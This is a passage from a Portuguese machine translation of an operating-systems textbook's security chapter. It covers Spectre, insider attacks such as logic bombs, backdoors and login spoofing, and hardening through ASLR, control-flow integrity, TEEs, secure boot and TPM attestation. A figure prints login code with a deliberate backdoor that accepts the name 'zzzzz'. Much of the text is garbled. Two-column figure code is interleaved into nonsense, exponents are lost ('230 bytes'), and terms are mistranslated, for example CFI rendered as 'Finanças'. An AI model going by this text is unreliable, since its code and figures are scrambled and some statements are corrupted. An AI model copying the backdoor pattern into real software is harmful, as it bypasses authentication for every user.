Repetindo o processo, cada vez usando o canal lateral do cache para vazar um novo 
byte secreto, o invasor pode “ler” todo o espaço de endereço da vítima, byte por 
byte. Mesmo que as instruções executadas especulativamente acessem locais de memória inválidos, isso 
não importa, pois a execução transitória não falha. Simplesmente esmagará 
o resultado e retome a execução no local apropriado. 

O ataque é conhecido como Spectre. Existem muitas variantes de ataques de execução especulativa. 
O exemplo nesta seção é conhecido como Spectre Variant 1. Mitigações 
contra ataques de execução especulativa são ainda mais problemáticos do que no caso de 
Meltdown e pode ser que algumas variantes do Spectre nunca sejam corrigidas. A razão é que a execução 
especulativa é muito importante para o desempenho. Mesmo assim, existem mitigações para diferentes 
variantes tanto em software quanto em hardware e na execução de um 
O ataque Spectre a processadores e sistemas operacionais modernos não é trivial. 
Por exemplo, a variante que mostramos nesta seção pode ser mitigada em software 
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inserindo uma cerca de memória (como a que vimos na Seção 2.5.9) logo após a instrução de 
desvio na Linha 1, que simplesmente interrompe toda especulação até que a condição seja resolvida. 


Ataques de execução transitória, como Meltdown e Spectre, geraram um domínio totalmente 
novo de pesquisa de segurança. Novas vulnerabilidades são encontradas a cada poucos meses e 
novas correções são lançadas por fornecedores de CPU e desenvolvedores de sistemas 
operacionais na mesma frequência. Infelizmente, todas essas atenuações prejudicam o 
desempenho. Você pode descobrir que alguns processadores mais novos (com todas as defesas 
ativadas) são mais lentos que os processadores mais antigos. Não vimos isso com frequência nos últimos 50 anos! 


9.7 ATAQUES INTERNOS 


Uma categoria totalmente diferente de ataques é o que pode ser chamado de “trabalhos 
internos”. Eles são executados por programadores e outros funcionários da empresa que executa 
o computador a ser protegido ou que fabrica software crítico. Esses ataques diferem dos ataques 
externos porque os internos possuem conhecimento especializado e acesso que os externos não 
possuem. Abaixo daremos alguns exemplos; todos eles ocorreram repetidamente no passado. 
Cada um tem um sabor diferente em termos de quem está atacando, quem está sendo atacado e 
o que o atacante está tentando alcançar. 


9.7.1 Bombas Lógicas 


Nestes tempos de terceirização massiva, os programadores muitas vezes se preocupam com 
seus empregos. Às vezes, eles até tomam medidas para tornar a sua partida potencial (involuntária) 
menos dolorosa. Para aqueles que estão inclinados à chantagem, uma estratégia é escrever uma 
bomba lógica. Este dispositivo é um pedaço de código escrito por um dos programadores de uma 
empresa (atualmente empregado) e inserido secretamente no sistema de produção. Enquanto o 
programador lhe fornecer sua senha diária, ele ficará feliz e não fará nada. No entanto, se o 
programador for repentinamente demitido e removido fisicamente das instalações sem aviso prévio, 
no dia seguinte (ou na próxima semana) a bomba lógica não receberá sua senha diária e disparará. 
Muitas variantes deste tema também são possíveis. Num caso famoso, a bomba lógica verificou a 
folha de pagamento. Se o número pessoal do programador não aparecesse nele por dois períodos 
consecutivos da folha de pagamento, ele seria apagado (Spafford et al., 1989). 


Sair pode envolver limpar o disco, apagar arquivos aleatoriamente, fazer alterações 
cuidadosamente difíceis de detectar em programas importantes ou criptografar arquivos essenciais. 
Neste último caso, a empresa tem uma difícil escolha entre cnamar a polícia (o que pode ou não 
resultar numa condenação muitos meses depois, mas certamente não restaura os ficheiros 
desaparecidos) ou ceder à chantagem e recontratar o ex. -programador como “consultor” por uma 
quantia astronômica para resolver o problema (e esperar que ele não plante novas bombas lógicas 
ao fazê-lo). 
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Houve casos registrados em que um vírus plantou uma bomba lógica no 
computadores que infectou. Geralmente, eles eram programados para disparar todos de uma vez 
alguma data e hora no futuro. No entanto, como o programador não tem ideia 
avanço do qual os computadores serão atingidos, as bombas lógicas plantadas por vírus não podem ser 
usado para proteção de emprego ou chantagem. Muitas vezes eles estão programados para sair em um encontro que já 
algum significado político. Às vezes, são chamadas de bombas-relógio. 


9.7.2 Portas Traseiras 


Outra falha de segurança causada por um insider é a porta dos fundos. Este problema é 
criado por código inserido no sistema por um programador de sistema para contornar alguns 
verificação normal. Por exemplo, um programador poderia adicionar código ao programa de login para 
permitir que qualquer pessoa faça login usando o nome de login "zzzzz", não importa o que esteja no 
arquivo de senha. O código normal no programa de login pode ser parecido com 
Figura 9.31(a). A porta dos fundos seria a mudança da Figura 9.31(b). 


while (TRUE) enquanto (VERDADEIRO) ( 
{ pr intf("login: printf("login: "); 
"); obter obter string(nome); 
string(nome); desativar eco (); 
desativar eco (); pr pr intf("senha: "); 
intf(“senha: "); obter obter string (senha); 
string (senha); habilitar eco ( ); 
habilitar eco (); v = verificar v = verificar validade(nome, senha); 
validade(nome, senha); se (v) quebrar; if (v || stremp(nome, "zzzzz") == 0) break; 
} 
} execute shell(nome); execute shell(nome); 


(a) (b) 
Figura 9-31. (a) Código normal. (b) Código com uma porta traseira inserida. 


O que a chamada para stremp faz é verificar se o nome de login é "zzzzz". Se assim for, o 
o login é bem-sucedido, independentemente da senha digitada. Se esse código da porta dos fundos fosse 
inserido por um programador que trabalha para um fabricante de computadores e depois enviado 
com seus computadores, o programador poderia fazer login em qualquer computador fabricado por sua empresa, 
independentemente de quem fosse o proprietário ou do que estivesse no arquivo de senhas. O mesmo vale para 
um programador que trabalha para o fornecedor do sistema operacional. A porta traseira simplesmente ignora o 
todo o processo de autenticação. 

Uma maneira de as empresas evitarem backdoors é ter revisões de código como prática padrão. Com 
esta técnica, uma vez que um programador termina de escrever e 
testando um módulo, o módulo é verificado em um banco de dados de código. Periodicamente, todos os 
programadores de uma equipe se reúnem e cada um fica na frente do grupo para 
explique o que seu código faz, linha por linha. Isto não só aumenta muito a 
Há uma grande chance de alguém pegar uma porta dos fundos, mas isso aumenta os riscos para o programador, 


já que ser pego em flagrante provavelmente não é uma vantagem para sua carreira. Se 
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os programadores protestam muito quando isso é proposto, tendo duas vacas trabalhadoras 
verificar o código um do outro também é uma possibilidade. 


9.7.3 Falsificação de login 


Neste ataque interno, o perpetrador é um usuário legítimo que está tentando 
coletar senhas de outras pessoas por meio de uma técnica chamada falsificação de login. Isso é 
normalmente empregado em organizações com muitos computadores públicos em uma LAN usada 
por vários usuários. Muitas universidades, por exemplo, possuem salas cheias de computadores 
onde os alunos podem fazer logon em qualquer computador. Funciona assim. Normalmente, quando não 
Se alguém estiver logado em um computador UNIX, uma tela semelhante à da Figura 9.32(a) será 
exibida. Quando um usuário se senta e digita um nome de login, o sistema solicita uma senha. Se 
estiver correto, o usuário está logado e um shell (e possivelmente uma GUI) é iniciado. 


Conecte-se: Conecte-se: 


Figura 9-32. (a) Tela de login correta. (b) Tela de login falsa. 


Agora considere este cenário. Um usuário mal-intencionado, Mal, escreve um programa para exibir 
a tela da Figura 9.32(b). Parece surpreendentemente com a tela da Figura 9.32(a), 
exceto que este não é o programa de login do sistema em execução, mas um programa falso escrito 
por Mal. Mal agora inicia o programa de login falso e sai para assistir ao 
diversão a uma distância segura. Quando um usuário se senta e digita um nome de login, o programa 
responde solicitando uma senha e desativando o eco. Após o login 
nome e senha foram coletados, eles são gravados em um arquivo e o 
programa de login falso envia um sinal para encerrar seu shell. Esta ação desconecta Mal e 
aciona o programa de login real para iniciar e exibir o prompt da Figura 9.32(a). O 
o usuário presume que cometeu um erro de digitação e apenas faz login novamente. Desta vez, porém, 
funciona. Mas, enquanto isso, Mal adquiriu outro par (nome de login, senha). 


9.8 ENDURECIMENTO DO SISTEMA OPERACIONAL 


A melhor maneira de lidar com bugs de segurança é não tê-los. Imagine 
quão bom seria se pudéssemos acompanhar o software com uma prova matemática 
que está correto e não contém vulnerabilidades. É exatamente disso que se trata a verificação formal 
de software. No passado, os pesquisadores mostraram que é realmente 
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possível verificar um pequeno kernel de sistema operacional em relação a uma especificação formal para 
provar que os processos estão devidamente isolados (Klein et al. 2009). Francamente, isso é 
incrivelmente legal. Outros aplicaram métodos formais a compiladores e outros programas. 


Uma limitação óbvia da verificação formal é que ela é tão boa quanto o 
especificação. Se você cometer um erro nas especificações, o software poderá ficar vulnerável, mesmo 
que tenha sido verificado. Outro problema é que a maior parte das provas diz respeito 
sozinhos apenas com software, assumindo que o hardware está correto. Como nós 
Como vimos anteriormente, as vulnerabilidades de hardware facilitam o trabalho com tais suposições. 

Além de problemas de hardware que vazam informações (por exemplo, através de canais laterais de cache ou 
ataques de execução transitórios), existem outros bugs de hardware que causam corrupção de memória. 
Por exemplo, os circuitos que codificam bits em chips de memória são compactados de modo 
juntos, que ler ou escrever um valor em um local da memória pode 
interferir no valor em um local adjacente a ele no chip. Observe que tais locais não estão necessariamente 
próximos uns dos outros em termos de espaço virtual ou mesmo físico. 
endereços vistos pelo software — a memória DRAM pode remapear internamente endereços para locais 
de chips de maneiras maravilhosamente complexas. Ao acessar agressivamente um 
ou alguns locais na memória em repetição rápida, a interferência pode aumentar e 
eventualmente causar uma pequena mudança no local vizinho. Isso parece mágica, mas 
sim, é possível alterar um valor na memória (por exemplo, um valor no kernel) lendo outro valor em um 
endereço completamente não relacionado (por exemplo, em 
seu próprio espaço de endereço). O problema é conhecido como vulnerabilidade Rowhammer. A 
natureza exata dos ataques do Rowhammer está além deste livro e não iremos 
discuti-lo mais detalhadamente, exceto para acrescentar que, infelizmente, poucas provas formais de software levam 
em conta a magia. Para obter mais informações sobre isso, consulte Kim et al. (2014), Konoth 
e outros. (2018), Kim et al. (2020) e Hassan et al. (2021). 

Um problema mais prático do uso de métodos formais é que gerar 
provas para software complexo são difíceis de escalar e projetos de software massivos, como 
como o kernel do Linux ou do Windows estão muito além do que podemos alcançar com 
verificação. Como resultado, a maior parte do software que usamos hoje está repleta de 
vulnerabilidades. Os sistemas operacionais, portanto, protegem-se contra ataques de 
meio de proteção de software. 


9.8.1 Randomização refinada 


Já discutimos como a randomização do espaço de endereço por meio de Address 
A Randomização de Layout de Espaço (ASLR) torna difícil para os invasores encontrarem recursos para 
seus ataques ROP. Hoje em dia, todos os sistemas operacionais convencionais aplicam uma 
forma de ASLR. Quando aplicado ao kernel, é conhecido como KASLR. 

Quão randomizado é esse kernel? A quantidade de aleatoriedade é cnamada de 
entropia e é expresso em bits. Suponha que o kernel de um sistema operacional resida em um 
intervalo de endereços de 1 GB (230 bytes) e está alinhado a um limite de página de 2 MB. O 
alinhamento significa que o código pode começar em qualquer endereço que seja múltiplo da página 
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tamanho de 2 MB (221 bytes). Tal sistema terá 30 21 = 9 bits disponíveis para randomização. 
Em outras palavras, a entropia é de 9 bits. Em outras palavras, os invasores precisam de 512 
tentativas para encontrar o código do kernel. Suponha que eles encontrem uma vulnerabilidade, 
como um buffer overflow, que lhes permita fazer o kernel pular para um endereço de sua 
escolha e testar todos os valores possíveis para esses 9 bits, o sistema (provavelmente) 
travaria em 511 tentativas e acertaria o alvo correto uma vez. Dito de outra forma, se os 
invasores puderem atacar alguns milhares de máquinas, eles terão uma boa chance de 
comprometer o kernel do sistema operacional de pelo menos algumas delas — mesmo que o 
ataque deixe um rastro de falhas em seu rastro. 

A entropia, ou o quanto você randomiza, não é o único fator que determina a força da 
randomização; também importa o que você randomiza. As implementações KASLR geralmente 
usam randomização de granulação grossa, em que a pilha, o código e o heap começam em um 
local aleatório, mas não há randomização nessas áreas de memória. 


A Figura 9.33(a) mostra um exemplo. Isso é simples e rápido. Infelizmente, isso também 
significa que é suficiente que o ataque vaze um único ponteiro de código, digamos, o início de 
uma função específica, para quebrar a randomização. Todos os outros códigos estarão em um 
deslocamento fixo deste. Esquemas de randomização mais avançados randomizam com uma 
granularidade mais fina. Por exemplo, a Figura 9.33(b) mostra um esquema onde as localizações 
das funções e dos objetos heap também são aleatórias entre si. Em vez de randomizar no nível 
da função, também é possível fazê-lo no nível da página, ou mesmo no nível dos fragmentos 
de código dentro de uma função. Agora, vazar um único endereço de código não é mais 
suficiente, porque não informa nada ao invasor sobre a localização de outras funções e trechos 
de código. A randomização refinada também funciona para dados globais, dados no heap e até 
mesmo variáveis locais na pilha. É ainda possível re-aleatorizar as localizações do código e dos 
dados a cada poucos segundos durante a execução do programa, reduzindo assim enormemente 
o tempo disponível para um invasor tentar saber onde as coisas estão (Giuffrida et al., 2013). A 
desvantagem da randomização muito refinada é que embaralhar as coisas prejudica a 
localidade e aumenta a fragmentação. 


Em geral, o KASLR não é considerado uma defesa muito forte contra invasores locais — 
que são capazes de executar código localmente na máquina. Na verdade, o KASLR de 
granulação grossa, em particular, foi quebrado muitas vezes. 


9.8.2 Restrições de Fluxo de Controle 


Além de ocultar o código em locais aleatórios, também é possível reduzir a quantidade de 
código que o invasor pode utilizar. Em particular, seria bom se pudéssemos garantir que uma 
instrução de retorno só pudesse retornar à instrução após uma chamada de função, que uma 
instrução de chamada só pudesse ter como alvo uma função legítima, etc. , o conjunto de 
endereços para os quais poderia desviar o fluxo de controle do programa é agora muito mais 
limitado. Essa ideia tornou-se popular sob o nome CFI (Control-Flow Integrity). Tem feito parte 
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Randomização de granulação grossa: Randomização mais refinada: toda 
toda vez que executamos o programa, a vez que executamos o programa, até 
pilha, o heap, as bibliotecas e o mesmo as localizações relativas de 
codestart em um local diferente. funções e objetos mudam. 

(a) (b) 


Figura 9-33. Randomização do layout do espaço de endereço: (a) granulação grossa (b) granulação fina 


e parte dos principais sistemas operacionais, como o Windows, desde 2017 e é compatível com 
muitos conjuntos de ferramentas de compilador. 

Para garantir que o fluxo de controle no programa sempre siga caminhos legítimos durante 
a execução, o CFI analisa o programa antecipadamente para determinar quais são os possíveis 
alvos legítimos para instruções de salto, instruções de chamada e instruções de retorno. Para 
chamadas e saltos, considera apenas aqueles que podem ser violados por um invasor. Se o 
código contiver uma instrução como call 0x543210, não há nada que o invasor possa fazer — a 
instrução sempre chamará a função nesse endereço. Como o segmento de código é somente 
leitura, é difícil para o invasor modificar o alvo da chamada. Entretanto, suponha que a instrução 
seja uma chamada indireta , como a chamada fptr, onde fptr é um ponteiro de função armazenado 
em algum local da memória. Se o invasor puder alterar esse local de memória, por exemplo, 
usando um buffer overflow, ele poderá controlar qual código será executado. Você pode estar se 
perguntando quais são os alcatrões legítimos para essas chamadas indiretas. Uma resposta 
simples, embora grosseira, é: todas as funções cujo endereço já foi armazenado em um ponteiro 
de função. Geralmente, isso é uma fração muito pequena das funções do programa. Restringindo 
as chamadas indiretas (chamadas 
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com ponteiros de função) de modo que eles possam direcionar apenas os pontos de entrada daqueles 
funções, eleva consideravelmente o padrão para os invasores. Se for necessária mais segurança, nós 
poderia refinar ainda mais o conjunto, por exemplo, exigindo que o número e os tipos de 
os argumentos no chamador e no receptor também correspondem. 

Dados os conjuntos de alvos legítimos para chamadas indiretas, saltos indiretos e retornos, agora 
reescrevemos o código para garantir que tais chamadas, saltos e retornos apenas 
usar esses alvos. Existem muitas maneiras de fazer isso. Uma solução simples é mostrada em 
código pseudo assembly na Figura 9.34. Na figura, o código original para 3 funções 
sem CFI está à esquerda. A função principal armazena os endereços de foo() e 
bar() em ponteiros de função e depois usa esses ponteiros de função para chamar as funções. O código à 
direita mostra as versões instrumentadas dessas funções, 
com Finanças. A instrumentação começa atribuindo um rótulo a cada conjunto de anúncios de destino legítimos. 
Por exemplo, o conjunto de alvos legítimos para chamadas indiretas recebe um 
8B rótulo L1, o conjunto para saltos indiretos recebe o rótulo L2 (não utilizado no exemplo), 
e o conjunto para devoluções recebe o rótulo L3. Essas etiquetas são então armazenadas na frente do 
endereços de destino no conjunto (linhas 1, 11, 29 e 32). Finalmente, a instrumentação é 
adicionado para verificar cada chamada indireta, salto e retorno para ver se o endereço alvo 
tem o rótulo exigido (Linhas 7-9, 17-19, 27-28 e 30-31). Tomemos as linhas 7-9 
como um exemplo. Em vez de uma instrução ret regular que recebe o endereço de retorno 
fora da pilha e salta para ela de uma só vez, o código instrumentado exibe explicitamente o 
endereço de retorno em um registro, verifica se a etiqueta é uma etiqueta de devolução válida e 
em seguida, salta para a instrução seguindo o rótulo 8B. O caso das chamadas indiretas é 
semelhante: o código na linha 27-28 verifica se o local da memória imediatamente antes 
a função prestes a ser cnamada tem o rótulo correto e, em caso afirmativo, faz a cnamada indireta. 

Embora o esquema CFI acima restrinja severamente as ações dos invasores, não é 
infalível. Por exemplo, ao substituir o endereço de retorno, o invasor ainda pode 
direcione o programa para qualquer site de chamada. Para maior segurança, poderíamos tornar os conjuntos 
de endereços de destino tão pequenos quanto possível e talvez até acompanhar explicitamente os 
local de chamada real (por exemplo, em uma pilha de sombra separada, fora do alcance do invasor). 
Na verdade, os pesquisadores de segurança propuseram muitos tipos de finanças refinadas, mas 
a maioria deles nunca é aplicada na prática. 


9.8.3 Restrições de Acesso 


Isolar domínios de segurança, como sistema operacional e processos de usuário 
uns dos outros é um dos pilares da segurança. Na ausência de software ou 
vulnerabilidades de hardware, anéis de proteção garantem que nenhum dado no kernel do sistema operacional 
esteja acessível aos processos do usuário. Dentro do domínio de segurança, podemos particionar ainda mais o 
código dos dados usando proteção de execução de dados. Em poucas palavras, se as áreas de memória são 
executáveis, elas não deveriam ser graváveis, e se forem graváveis, elas não deveriam ser graváveis. 
não deve ser executável. Isso é conhecido como prevenção de execução de dados, um tópico que 
abordado na Seç. 9.5.1. Da mesma forma, as listas e capacidades de controle de acesso determinam quem 
pode fazer o que com quais recursos. Todas estas restrições de acesso ajudam a elaborar 
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1 foo: L1 /* rótulo: alvo de chamada indireta legítimo (8B) */ 
2 instr 1 /*4nício de foo() */ 3 instr 2 foo: 

= instr 1+/* início de foo() */ 
4 instrução 3 instrução 2 
Bras instrução 3 
6 ret. 
7 pop reg0 /* armazena endereço de retorno em rego */ 
8 if (*reg0 = L3) aumentar o-alarme m() /* verificar rótulo*/ 
9 senão jmp (reg0 + 8) 
10 
11 barras: L1 /* rótulo: alvo de chamada indireta legítimo (8B) */ 
12 instr 1 /* início da barra() */ 13 instr bar : 
2 instr 1-/* início da barra() */ 
14 instrução 3 instrução 2 
15... instrução 3 
16 ret. 
17 pop reg0 /* armazena endereço de retorno em rego */ 
18 if (*regO = L3) aumentar o-alarme m() /* verificar rótulo*/ 
19 senão jmp (reg0 + 8) 
20 
21 principais: principal: 
22instr1 instri 
283... 
24 fptr1 = foo 25 fptr1 = foo 
fptr2 = barra fptr2 = barra 
26... 
27 fptr1() ; chamada indireta para foo() if (*(fptr1-8) = L1) aumentar o alarme m() 
28 fptr2() ; chamada indireta para bar() senão (fptrt)() 
29 instr 21 — L3 /* rótulo: alvo legítimo para retorno */ 
30 instrução 22 if (*(fptr2-8) = L1) aumentar o alarme m() 
31... senão (fptr1)() 
32 L3 /* rótulo: alvo legítimo para retorno */ 
33 instrução 21 
34 instrução 21 


(a) (b) 


Figura 9-34. Integridade do fluxo de controle (pseudocódigo): (a) sem CFI, 
(b) com Finanças. 
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paredes fortes entre os atacantes e as jóias da coroa do sistema, de acordo com os princípios 
de segurança de Saltzer e Schroeder. 

Embora seja intuitivamente claro por que devemos proteger o sistema operacional de 
processos de usuários não confiáveis, argumentamos agora que impedir o sistema operacional 
de acessar códigos ou dados em processos de usuários também é útil. Nosso primeiro exemplo 
diz respeito a sistemas operacionais que mapeiam o kernel no espaço de endereço de cada 
processo, de modo que uma chamada de sistema não exija uma troca de espaço de endereço. 

O Linux é um desses sistemas operacionais (exceto em CPUs mais antigas vulneráveis ao 
Meltdown, onde o KPTI separa o kernel e os espaços de endereço do usuário). Nesse caso, bugs 
como desreferências de ponteiro nulo (veja Seção 9.5.4) tornam-se muito mais sérios porque o 
kernel pode executar a memória do usuário. 

Seria melhor se o kernel não tivesse como executar código no processo do usuário, 
acidentalmente ou não. Provavelmente também não deveria ser capaz de ler os dados do usuário, 
porque isso permitiria que um ataque alimentasse dados maliciosos no sistema operacional. Para 
evitar a execução inadvertida de código de usuário no kernel, muitas CPUs hoje implementam o 
que a Intel chama de SMEP (Supervisor Mode Execution Protection) e SMAP (Supervisor 
Mode Access Protection). Quando SMEP e SMAP estão habilitados, todas as tentativas de 
executar (SMEP) ou acessar a memória (SMAP) em processos de usuário do kernel do sistema 
operacional resultam em falha. Mas espere! E se o kernel realmente precisar acessar alguma 
memória em um processo do usuário, por exemplo, para ler ou escrever um buffer para enviar 
pela rede? Nesse caso, o kernel pode desabilitar temporariamente as restrições SMAP e fazer 
o que for necessário e então reativar as restrições. 


Nosso segundo exemplo da necessidade de restringir o acesso do sistema operacional à 
memória do usuário é que às vezes, em raras ocasiões, não confiamos no sistema operacional. 
Isto pode parecer muito estranho. Não construímos nosso modelo de base computacional 
confiável em torno do sistema operacional, com anéis de proteção, modo supervisor e tudo 
mais? Bem, sim, mas ainda existem situações em que até mesmo o kernel do sistema operacional 
não faz parte do TCB da aplicação. Suponha que a Coca Cola Company queira realizar 
simulações em um ambiente de nuvem para desenvolver uma nova receita para seu xarope de 
Coca Cola. A verdadeira fórmula da Coca Cola é provavelmente o segredo comercial mais 
famoso do mundo. Em 1919, a única cópia escrita da fórmula foi colocada no cofre de um banco. 
Em 2011, foi transferido para outro cofre em Atlanta, onde, por uma pequena taxa, os visitantes 
podem ir e observá-lo (o cofre, não a fórmula). Qualquer cálculo da fórmula na nuvem seria 
extremamente sensível e a empresa poderia ficar um pouco desapontada se um administrador 
de sistema do provedor de nuvem publicasse uma mensagem no Twitter dizendo: 


'E aí pessoal! Hackeei nosso sistema operacional para aprender a fórmula da Coca Cola. 
Aqui está. LOL. 


Embora seja improvável que a Coca Cola Company use uma nuvem pública para o segredo 
comercial mais zelosamente guardado da história, muitas organizações processam dados 
confidenciais na nuvem ou usam algoritmos secretos que não deveriam vazar, nem mesmo se 
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o hipervisor ou sistema operacional é hackeado, o administrador do sistema é subornado ou o 
provedor de nuvem se mostra não confiável. 

Da mesma forma, se uma organização fornecer um aplicativo para smartphone que seja 
importante para o cliente e um alvo de alto valor para os invasores, ela poderá não confiar no sistema 
operacional do smartphone do usuário. Por exemplo, aplicativos bancários não querem que um 
iPhone, mesmo que completamente comprometido, possa roubar de seus clientes. 

Nem o SMEP nem o SMAP vão ajudar aqui. Afinal, o próprio sistema operacional não é confiável 
e pode desativar qualquer restrição que achar adequado. Precisamos de algo que até o sistema 
operacional possa tocar. 

Por esse motivo, os fornecedores de CPU desenvolveram extensões de CPU chamadas TEE 
(Trusted Execution Environments). Um TEE é um “enclave” seguro em sua CPU onde você pode 
realizar cálculos secretos em dados confidenciais e o hardware garante que nem mesmo os sistemas 
operacionais possam acessá-los. Por exemplo, ARM TrustZone é uma extensão de segurança para 
processadores ARM que permite à CPU alternar entre dois mundos: mundo normal e mundo seguro. 
Os sistemas operacionais regulares (por exemplo, Linux) e todos os aplicativos regulares são 
executados no mundo normal. Se o sistema operacional não for confiável, os aplicativos no mundo 
normal estarão fritos. 

No entanto, as aplicações no mundo seguro ainda são seguras. 

Aplicações que se preocupam muito com segurança, como bancos ou empresas que vendem 
refrigerantes, podem executar uma pequena parte de sua funcionalidade no TEE (por exemplo, sua 
carteira ou o código que processa sua fórmula secreta). Alguns TEEs possuem até um sistema 
operacional separado, minimalista e seguro para executar essas (partes de) aplicativos confiáveis. 

O processador entra em um mundo seguro por meio de uma instrução especial que funciona um 
pouco como uma chamada de sistema: ao executar a instrução, a CPU entra no mundo seguro para 
executar o serviço apropriado. Embora as aplicações no mundo seguro possam acessar toda a 
memória, a memória do TEE é fisicamente protegida de todos os acessos por código executado no 
mundo normal. Depois de fazer tudo o que precisa ser feito, os aplicativos confiáveis voltam ao mundo 
normal. 

Há muito mais a dizer sobre TEEs e Computação Confidencial. Cada fornecedor tem sua 
própria solução e alguns fornecedores têm até mais de uma. Para citar um exemplo, a Intel 
inicialmente implantou uma solução chamada SGX (Software Guard Extension) e quando esta se 
revelou vulnerável a ataques de microarquitetura, lançou um design aprimorado chamado TDX (Trust 
Domain Extensions), que atende mais à virtualização. Existem diferenças significativas entre os 
diferentes ETES. Por exemplo, alguns TEEs não executam um sistema operacional separado, 
enquanto outros o fazem. Esses tópicos estão além deste livro. Queremos apenas que você esteja 
ciente de sua existência e de que são usados para implementar o que hoje é conhecido como 
Computação Confidencial. 

Os TEEs tiveram um sucesso misto, pois os pesquisadores encontraram várias vulnerabilidades no 
design e na implementação de hardware e software. Parece que é difícil acertar a segurança, mesmo 
que os fornecedores multibilionários de chips se proponham a desenvolver recursos com o objetivo 
explícito de fazê-lo. 


Não deveria ser surpresa que muitas das vulnerabilidades nos TEEs estivessem relacionadas à 
execução transitória e aos ataques de canal lateral. Dado o quão indiretos estes 


Machine Translated by Google 


SEC. 9,9 ENDURECIMENTO DO SISTEMA OPERACIONAL 689 


existem ataques, há alguma esperança de detê-los? A resposta é: depende. Em geral, sempre que os domínios 
de segurança compartilham recursos, existe o risco de canais secundários. 
O Princípio do Mecanismo Mínimo Comum de Saltzer e Schroeder sugere que 
tenha o mínimo possível disso. Infelizmente, os sistemas informáticos modernos partilham 
recursos em todo o lugar: núcleos, caches, TLBs, memória, preditores de ramificação, 
autocarros, etc. No entanto, isso não significa que sejamos impotentes. Se o sistema operacional for capaz de 
particionar os recursos ou liberar seu estado entre a execução de diferentes domínios de segurança, a vida se 
tornará muito mais difícil para os invasores. 
Por exemplo, ao sacrificar alguma eficiência, os sistemas operacionais são por vezes 
capaz de particionar recursos como caches, mesmo com granularidade fina. Um conhecido 
técnica, conhecida como coloração de página, é um exemplo de tal particionamento do 
cache, que funciona fornecendo páginas de memória a diferentes domínios de segurança que mapeiam 
para conjuntos de cache separados. Como exemplo simples, imagine que o sistema operacional 
fornece ao processo 1 apenas páginas que mapeiam os conjuntos de cache 0 (N 1) e o processo 2 
páginas que mapeiam em conjuntos de cache (N 1) M. Qualquer que seja a atividade de cache no processo 1, 
normalmente não afetará a atividade de cache do processo 2. Hoje em dia, em vez disso, 
do que confiar na operação se contorcendo durante a alocação de memória, cache 
o particionamento às vezes também é suportado por hardware. Por exemplo, o CAT da Intel 
(Tecnologia de alocação de cache). permite deixar de lado uma série de maneiras de 
cache associado de conjunto n-way. 


9.8.4 Verificações de integridade de código e dados 


Alguns sistemas operacionais reduzem o número de bugs no sistema operacional 
aceitando apenas drivers e outros códigos assinados por fornecedores confiáveis com assinatura digital. Essa 
assinatura de driver ajuda a garantir uma medida de qualidade das extensões do sistema operacional. Um 
mecanismo semelhante é comumente usado para atualizações: apenas 
atualizações assinadas de uma fonte confiável serão instaladas. Levando a ideia um passo adiante, sistemas 
operacionais como o Windows podem “bloquear” completamente o 
máquina para garantir que ela possa executar apenas software confiável em geral. Nesse caso, 
torna-se muito difícil executar aplicativos não autorizados de qualquer natureza, mesmo para malware que consiga 
obter privilégios elevados, pois a verificação é realizada em 
um ambiente protegido por hardware que o malware não consegue contornar facilmente. 

Finalmente, muitos sistemas operacionais modernos oferecem funcionalidades para garantir que o 
O código para verificar as assinaturas, o próprio sistema operacional e, na verdade, todas as etapas envolvidas 
no processo de inicialização foram carregados corretamente. A verificação leva um número 
de etapas, assim como o próprio processo de inicialização executa várias etapas. 

Para garantir a inicialização de uma máquina, precisamos de uma raiz de confiança, normalmente um hardware seguro 
dispositivo, para fazer a bola rolar. O procedimento é aproximadamente o seguinte. Um microcontrolador inicia o 
processo de inicialização executando uma pequena quantidade de firmware de um 
ROM (ou memória flash que não pode ser reprogramada por um invasor). Como nós temos 
visto na seg. 1.3, o firmware UEFI carrega um bootloader, que por sua vez carrega 


o sistema operacional. Conforme mostrado na Figura 9.35(a), um processo de inicialização seguro verifica todos os 
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essas etapas. Por exemplo, o firmware UEFI protegerá a integridade dos carregadores de 
boot, verificando suas assinaturas usando as principais informações incorporadas no firmware. 
Carregadores de inicialização ou drivers sem as assinaturas apropriadas nunca serão 
executados. Na próxima etapa, o bootloader verifica a assinatura do kernel do sistema 
operacional. Novamente, a menos que a assinatura esteja correta, o kernel não será 
executado. Finalmente, os outros componentes do kernel, bem como todos os drivers, são 
verificados pelo kernel de maneira semelhante. Todas as tentativas de alterar qualquer 
componente em qualquer estágio do processo de inicialização levarão a um erro de verificação. 
E a cadeia de verificação não precisa parar aí. Por exemplo, o sistema operacional pode 

iniciar um programa antimalware para verificar todos os programas subsequentes. 


ReotaioiTianst Verifique e execute TPM 
(Bogexciiima pair Eb 
> Estenda PCR-0 com hash 
DO Boobioador A erirgue e execute de código/dados 
Assinatura 
Chave pública Estenda PCR-0 com hash 
j Computador remoto 
de código/dados 
Nestgrel "O que é PCR-0? 
Verifique e execute 
Assinatura (Nonce =1234)" 
Chave pública aco PO Estenda PCR-0 com hash 
de código/dados 
QlherAS-componanis "PCR-0: Oxac34de50 siga 
Assinatura Assinatura: Oxca3e" | 
Chave pública 
(a) (b) (9) 


Figura 9-35. Protegendo e verificando o processo de inicialização. 


9.8.5 Atestado remoto usando um módulo de plataforma confiável 


Voltemos agora à questão do atestado remoto e do TPM e vejamos como eles se 
enquadram na loja. A questão era: depois que o sistema operacional é inicializado, como 
podemos saber se ele foi inicializado de maneira correta e segura? O que quer que esteja na 
tela não é necessariamente confiável. Afinal, o invasor poderia ter instalado um novo sistema 
operacional que exibisse tudo o que o invasor desejasse. Para verificar se um sistema foi 
inicializado de maneira apropriada, podemos usar o atestado remoto. A ideia é usarmos outro 
computador para verificar a confiabilidade de uma máquina alvo. O hardware criptográfico 
especial que chamamos de módulo de plataforma confiável na máquina que precisa ser 
verificada permite provar a uma parte remota que todas as etapas corretas no processo de 
inicialização segura foram executadas. O TPM possui vários registros de configuração de 
plataforma (PCR-0, PCR-1, ...) que são definidos com um valor conhecido em cada 
inicialização. Ninguém pode escrever diretamente nesses registros. A única coisa que se pode 
fazer é “estendê-lo”. Em particular, se você solicitar ao TPM para estender o registro PCR-O 
com um valor X, ele calculará um hash da concatenação do valor atual PCR-O e do valor X e 
armazenará o resultado em PCR-0. Ao estender o valor em PCR-0 com novos valores, você 
obtém uma cadeia hash de comprimento arbitrário. 
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Ao integrar o TPM em nosso processo de inicialização segura acima, podemos criar uma 
prova de que a máquina foi pelo menos inicializada de forma segura. A ideia é que o computador 
inicializado crie “medições” — hashes do que está carregado na memória. Por exemplo, a Figura 
